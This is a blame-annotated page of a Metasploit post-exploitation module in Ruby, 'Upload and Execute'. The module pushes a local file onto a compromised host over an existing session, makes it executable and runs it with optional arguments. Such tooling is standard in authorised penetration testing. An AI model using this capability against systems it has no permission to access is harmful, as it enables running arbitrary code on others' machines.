Files
metasploit-gs/modules/post/multi/manage/upload_exec.rb
T

70 lines
1.8 KiB
Ruby
Raw Normal View History

2017-04-17 19:34:21 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2017-04-17 19:34:21 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Exploit::FileDropper
2017-04-17 19:34:21 -05:00
2018-09-21 16:42:14 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Upload and Execute',
'Description' => %q{Push a file and execute it.},
'Author' => 'egypt',
'License' => MSF_LICENSE,
2018-09-23 22:12:26 -05:00
'Platform' => ['win', 'unix', 'linux', 'osx', 'bsd', 'solaris'],
2018-09-21 16:42:14 -05:00
'SessionTypes' => ['meterpreter', 'shell']
2017-04-17 19:34:21 -05:00
))
2018-09-21 16:42:14 -05:00
register_options([
OptPath.new('LPATH', [true, 'Local file path to upload and execute']),
OptString.new('RPATH', [false, 'Remote file path on target (default is basename of LPATH)']),
OptString.new('ARGS', [false, 'Command-line arguments to pass to the uploaded file']),
OptInt.new('TIMEOUT', [true, 'Timeout for command execution', 60])
2018-09-21 16:42:14 -05:00
])
2017-04-17 19:34:21 -05:00
end
2018-09-21 16:42:14 -05:00
def run
print_status("Uploading #{lpath} to #{rpath}")
2018-09-21 16:42:14 -05:00
upload_file(rpath, lpath)
register_file_for_cleanup(rpath)
2018-09-21 16:42:14 -05:00
if session.platform == 'windows'
# Don't use cmd.exe /c start so we can fetch output
cmd = rpath
2017-04-17 19:34:21 -05:00
else
2018-09-24 12:40:18 -05:00
# Set 700 so only we can execute the file
chmod(rpath, 0700)
2018-09-21 17:27:42 -05:00
2018-09-21 16:42:14 -05:00
# Handle absolute paths
cmd = rpath.start_with?('/') ? rpath : "./#{rpath}"
2017-04-17 19:34:21 -05:00
end
print_status("Executing command: #{cmd}")
2018-09-21 16:42:14 -05:00
output = cmd_exec(cmd, args, timeout)
2018-09-23 21:52:46 -05:00
if output.blank?
print_status('Command returned no output')
2018-09-23 21:52:46 -05:00
else
print_line(output)
end
2018-09-21 00:57:06 -05:00
end
2018-07-26 19:29:46 -05:00
def lpath
datastore['LPATH']
2017-04-17 19:34:21 -05:00
end
2018-09-21 16:42:14 -05:00
def rpath
datastore['RPATH'].blank? ? File.basename(lpath) : datastore['RPATH']
end
2018-07-26 19:29:46 -05:00
2018-09-21 16:42:14 -05:00
def args
datastore['ARGS']
end
2018-07-26 19:29:46 -05:00
2018-09-21 16:42:14 -05:00
def timeout
datastore['TIMEOUT']
2017-04-17 19:34:21 -05:00
end
end